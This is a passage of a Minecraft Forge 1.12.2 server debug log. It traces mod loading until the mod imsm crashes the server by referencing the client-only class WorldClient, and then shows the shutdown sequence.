[FML]: The mod k4lib accepts its own version (1.12.1-2.1.81) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into k4lib [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for k4lib [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into k4lib for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod k4lib [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - K4Lib took 0.008s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod colorchat [14:28:02] [Server thread/TRACE] [FML]: Mod colorchat is using network checker : No network checking performed [14:28:02] [Server thread/TRACE] [FML]: Testing mod colorchat to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod colorchat accepts its own version (1.12.1-2.0.43) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into colorchat [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for colorchat [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into colorchat for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod colorchat [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - ColorChat took 0.025s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod cw [14:28:02] [Server thread/TRACE] [FML]: Mod cw is using network checker : Accepting version 1.0.2 [14:28:02] [Server thread/TRACE] [FML]: Testing mod cw to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod cw accepts its own version (1.0.2) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into cw [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for cw [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for cw.util.handlers.CWRegistryHandler for mod cw [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class cw.util.handlers.CWRegistryHandler [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into cw for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod cw [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Creature Wisperer took 0.008s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod dragonmounts [14:28:02] [Server thread/TRACE] [FML]: Mod dragonmounts is using network checker : Accepting version 1.12.2-1.6.3 [14:28:02] [Server thread/TRACE] [FML]: Testing mod dragonmounts to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod dragonmounts accepts its own version (1.12.2-1.6.3) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.TheRPGAdventurer.ROTD.event.RegistryEventHandler for mod dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.TheRPGAdventurer.ROTD.event.RegistryEventHandler [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.TheRPGAdventurer.ROTD.inits.ModSounds$RegistrationHandler for mod dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.TheRPGAdventurer.ROTD.inits.ModSounds$RegistrationHandler [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into dragonmounts for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Dragon Mounts took 0.033s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod extragems [14:28:02] [Server thread/TRACE] [FML]: Mod extragems is using network checker : Accepting version 1.2.8 [14:28:02] [Server thread/TRACE] [FML]: Testing mod extragems to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod extragems accepts its own version (1.2.8) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into extragems [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for extragems [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for xxrexraptorxx.extragems.main.ModBlocks for mod extragems [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class xxrexraptorxx.extragems.main.ModBlocks [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for xxrexraptorxx.extragems.main.ModItems for mod extragems [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class xxrexraptorxx.extragems.main.ModItems [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for xxrexraptorxx.extragems.util.RecipeHandler for mod extragems [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class xxrexraptorxx.extragems.util.RecipeHandler [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into extragems for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod extragems [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - ExtraGems took 0.103s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod horse_colors [14:28:02] [Server thread/TRACE] [FML]: Mod horse_colors is using network checker : Accepting version 1.12.2-1.0.2 [14:28:02] [Server thread/TRACE] [FML]: Testing mod horse_colors to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod horse_colors accepts its own version (1.12.2-1.0.2) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into horse_colors [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for horse_colors [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into horse_colors for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod horse_colors [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Realistic Horse Genetics took 0.012s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod llibrary [14:28:02] [Server thread/TRACE] [FML]: Mod llibrary is using network checker : Accepting version 1.7.19 [14:28:02] [Server thread/TRACE] [FML]: Testing mod llibrary to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod llibrary accepts its own version (1.7.19) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into llibrary [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for llibrary [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into llibrary for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod llibrary [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - LLibrary took 0.045s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod iceandfire [14:28:02] [Server thread/DEBUG] [forge]: Preloading CrashReport Classes [14:28:02] [Server thread/DEBUG] [forge]: com/github/alexthe666/iceandfire/client/particle/IceAndFireParticleSpawner$1 [14:28:02] [Server thread/TRACE] [FML]: Mod iceandfire is using network checker : Accepting version 1.8.3 [14:28:02] [Server thread/TRACE] [FML]: Testing mod iceandfire to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod iceandfire accepts its own version (1.8.3) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.github.alexthe666.iceandfire.ClientProxy for mod iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.github.alexthe666.iceandfire.ClientProxy [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.github.alexthe666.iceandfire.CommonProxy for mod iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.github.alexthe666.iceandfire.CommonProxy [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into iceandfire for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Ice and Fire took 0.190s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod ichunutil [14:28:02] [Server thread/TRACE] [FML]: Mod ichunutil is using network checker : Accepting range 7.2.0 or above, and below 7.3.0 [14:28:02] [Server thread/TRACE] [FML]: Testing mod ichunutil to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod ichunutil accepts its own version (7.2.2) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into ichunutil [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for ichunutil [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into ichunutil for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod ichunutil [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - iChunUtil took 0.044s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod imsm [14:28:03] [Server thread/TRACE] [FML]: Mod imsm is using network checker : Accepting version 1.12 [14:28:03] [Server thread/TRACE] [FML]: Testing mod imsm to verify it accepts its own version in a remote connection [14:28:03] [Server thread/TRACE] [FML]: The mod imsm accepts its own version (1.12) [14:28:03] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into imsm [14:28:03] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for imsm [14:28:03] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for modid.imsm.core.EventHandler for mod imsm [14:28:03] [Server thread/ERROR] [FML]: An error occurred trying to load an EventBusSubscriber modid.imsm.core.EventHandler for modid imsm java.lang.NoClassDefFoundError: net/minecraft/client/multiplayer/WorldClient at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) [AutomaticEventSubscriber.class:?] at net.minecraftforge.fml.common.FMLModContainer.constructMod(FMLModContainer.java:612) [FMLModContainer.class:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_232] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_232] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_232] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_232] at com.google.common.eventbus.Subscriber.invokeSubscriberMethod(Subscriber.java:91) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$SynchronizedSubscriber.invokeSubscriberMethod(Subscriber.java:150) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$1.run(Subscriber.java:76) [minecraft_server.1.12.2.jar:?] at com.google.common.util.concurrent.MoreExecutors$DirectExecutor.execute(MoreExecutors.java:399) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber.dispatchEvent(Subscriber.java:71) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Dispatcher$PerThreadQueuedDispatcher.dispatch(Dispatcher.java:116) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.EventBus.post(EventBus.java:217) [minecraft_server.1.12.2.jar:?] at net.minecraftforge.fml.common.LoadController.sendEventToModContainer(LoadController.java:219) [LoadController.class:?] at net.minecraftforge.fml.common.LoadController.propogateStateMessage(LoadController.java:197) [LoadController.class:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_232] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_232] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_232] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_232] at com.google.common.eventbus.Subscriber.invokeSubscriberMethod(Subscriber.java:91) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$SynchronizedSubscriber.invokeSubscriberMethod(Subscriber.java:150) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$1.run(Subscriber.java:76) [minecraft_server.1.12.2.jar:?] at com.google.common.util.concurrent.MoreExecutors$DirectExecutor.execute(MoreExecutors.java:399) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber.dispatchEvent(Subscriber.java:71) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Dispatcher$PerThreadQueuedDispatcher.dispatch(Dispatcher.java:116) [minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.EventBus.post(EventBus.java:217) [minecraft_server.1.12.2.jar:?] at net.minecraftforge.fml.common.LoadController.distributeStateMessage(LoadController.java:136) [LoadController.class:?] at net.minecraftforge.fml.common.Loader.loadMods(Loader.java:595) [Loader.class:?] at net.minecraftforge.fml.server.FMLServerHandler.beginServerLoading(FMLServerHandler.java:98) [FMLServerHandler.class:?] at net.minecraftforge.fml.common.FMLCommonHandler.onServerStart(FMLCommonHandler.java:333) [FMLCommonHandler.class:?] at net.minecraft.server.dedicated.DedicatedServer.func_71197_b(DedicatedServer.java:125) [nz.class:?] at net.minecraft.server.MinecraftServer.run(MinecraftServer.java:486) [MinecraftServer.class:?] at java.lang.Thread.run(Thread.java:748) [?:1.8.0_232] Caused by: java.lang.ClassNotFoundException: net.minecraft.client.multiplayer.WorldClient at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:191) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] ... 38 more Caused by: net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerException: Exception in class transformer net.minecraftforge.fml.common.asm.transformers.SideTransformer@67a056f1 from coremod FMLCorePlugin at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:260) ~[forge.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] ... 38 more Caused by: java.lang.RuntimeException: Attempted to load class bsb for invalid side SERVER at net.minecraftforge.fml.common.asm.transformers.SideTransformer.transform(SideTransformer.java:62) ~[forge.jar:?] at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:256) ~[forge.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] ... 38 more [14:28:03] [Server thread/ERROR] [net.minecraft.server.MinecraftServer]: Encountered an unexpected exception net.minecraftforge.fml.common.LoaderException: java.lang.NoClassDefFoundError: net/minecraft/client/multiplayer/WorldClient at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:89) ~[forge.jar:?] at net.minecraftforge.fml.common.FMLModContainer.constructMod(FMLModContainer.java:612) ~[forge.jar:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_232] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_232] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_232] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_232] at com.google.common.eventbus.Subscriber.invokeSubscriberMethod(Subscriber.java:91) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$SynchronizedSubscriber.invokeSubscriberMethod(Subscriber.java:150) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$1.run(Subscriber.java:76) ~[minecraft_server.1.12.2.jar:?] at com.google.common.util.concurrent.MoreExecutors$DirectExecutor.execute(MoreExecutors.java:399) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber.dispatchEvent(Subscriber.java:71) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Dispatcher$PerThreadQueuedDispatcher.dispatch(Dispatcher.java:116) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.EventBus.post(EventBus.java:217) ~[minecraft_server.1.12.2.jar:?] at net.minecraftforge.fml.common.LoadController.sendEventToModContainer(LoadController.java:219) ~[forge.jar:?] at net.minecraftforge.fml.common.LoadController.propogateStateMessage(LoadController.java:197) ~[forge.jar:?] at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:1.8.0_232] at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[?:1.8.0_232] at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:1.8.0_232] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_232] at com.google.common.eventbus.Subscriber.invokeSubscriberMethod(Subscriber.java:91) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$SynchronizedSubscriber.invokeSubscriberMethod(Subscriber.java:150) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber$1.run(Subscriber.java:76) ~[minecraft_server.1.12.2.jar:?] at com.google.common.util.concurrent.MoreExecutors$DirectExecutor.execute(MoreExecutors.java:399) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Subscriber.dispatchEvent(Subscriber.java:71) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.Dispatcher$PerThreadQueuedDispatcher.dispatch(Dispatcher.java:116) ~[minecraft_server.1.12.2.jar:?] at com.google.common.eventbus.EventBus.post(EventBus.java:217) ~[minecraft_server.1.12.2.jar:?] at net.minecraftforge.fml.common.LoadController.distributeStateMessage(LoadController.java:136) ~[LoadController.class:?] at net.minecraftforge.fml.common.Loader.loadMods(Loader.java:595) ~[Loader.class:?] at net.minecraftforge.fml.server.FMLServerHandler.beginServerLoading(FMLServerHandler.java:98) ~[FMLServerHandler.class:?] at net.minecraftforge.fml.common.FMLCommonHandler.onServerStart(FMLCommonHandler.java:333) ~[FMLCommonHandler.class:?] at net.minecraft.server.dedicated.DedicatedServer.func_71197_b(DedicatedServer.java:125) ~[nz.class:?] at net.minecraft.server.MinecraftServer.run(MinecraftServer.java:486) [MinecraftServer.class:?] at java.lang.Thread.run(Thread.java:748) [?:1.8.0_232] Caused by: java.lang.NoClassDefFoundError: net/minecraft/client/multiplayer/WorldClient at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) ~[AutomaticEventSubscriber.class:?] ... 32 more Caused by: java.lang.ClassNotFoundException: net.minecraft.client.multiplayer.WorldClient at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:191) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) ~[AutomaticEventSubscriber.class:?] ... 32 more Caused by: net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerException: Exception in class transformer net.minecraftforge.fml.common.asm.transformers.SideTransformer@67a056f1 from coremod FMLCorePlugin at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:260) ~[forge.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) ~[AutomaticEventSubscriber.class:?] ... 32 more Caused by: java.lang.RuntimeException: Attempted to load class bsb for invalid side SERVER at net.minecraftforge.fml.common.asm.transformers.SideTransformer.transform(SideTransformer.java:62) ~[forge.jar:?] at net.minecraftforge.fml.common.asm.ASMTransformerWrapper$TransformerWrapper.transform(ASMTransformerWrapper.java:256) ~[forge.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.runTransformers(LaunchClassLoader.java:279) ~[launchwrapper-1.12.jar:?] at net.minecraft.launchwrapper.LaunchClassLoader.findClass(LaunchClassLoader.java:176) ~[launchwrapper-1.12.jar:?] at java.lang.ClassLoader.loadClass(ClassLoader.java:418) ~[?:1.8.0_232] at java.lang.ClassLoader.loadClass(ClassLoader.java:351) ~[?:1.8.0_232] at java.lang.Class.getDeclaredMethods0(Native Method) ~[?:1.8.0_232] at java.lang.Class.privateGetDeclaredMethods(Class.java:2701) ~[?:1.8.0_232] at java.lang.Class.privateGetPublicMethods(Class.java:2902) ~[?:1.8.0_232] at java.lang.Class.getMethods(Class.java:1615) ~[?:1.8.0_232] at net.minecraftforge.fml.common.eventhandler.EventBus.register(EventBus.java:82) ~[EventBus.class:?] at net.minecraftforge.fml.common.AutomaticEventSubscriber.inject(AutomaticEventSubscriber.java:82) ~[AutomaticEventSubscriber.class:?] ... 32 more [14:28:03] [Server thread/ERROR] [net.minecraft.server.MinecraftServer]: This crash report has been saved to: /aternos/server/./crash-reports/crash-2019-12-21_14.28.03-server.txt [14:28:03] [Server thread/INFO] [net.minecraft.server.MinecraftServer]: Stopping server [14:28:03] [Server thread/INFO] [net.minecraft.server.MinecraftServer]: Saving worlds [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod minecraft [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod minecraft [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Minecraft took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod mcp [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod mcp [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Minecraft Coder Pack took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod FML [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod FML [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Forge Mod Loader took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod forge [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod forge [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Minecraft Forge took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod techguns_core [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod techguns_core [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Techguns Core took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod craftstudioapi [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod craftstudioapi [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - CraftStudio API took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod animania [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod animania [14:28:03] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Animania took 0.000s [14:28:03] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod betteranimalsplus [14:28:03] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod betteranimalsplus [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Better Animals Plus took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod bookworm [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod bookworm [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Bookworm API took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod k4lib [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod k4lib [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - K4Lib took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod colorchat [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod colorchat [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - ColorChat took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod cw [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod cw [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Creature Wisperer took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod dragonmounts [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod dragonmounts [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Dragon Mounts took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod extragems [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod extragems [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - ExtraGems took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod horse_colors [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod horse_colors [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Realistic Horse Genetics took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod llibrary [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod llibrary [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - LLibrary took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod iceandfire [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod iceandfire [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - Ice and Fire took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod ichunutil [14:28:04] [Server thread/TRACE] [FML]: Sent event FMLServerStoppedEvent to mod ichunutil [14:28:04] [Server thread/DEBUG] [FML]: Bar Step: ServerStopped - iChunUtil took 0.000s [14:28:04] [Server thread/TRACE] [FML]: Sending event FMLServerStoppedEvent to mod imsm [14:28:04] [Server thread/TRACE] 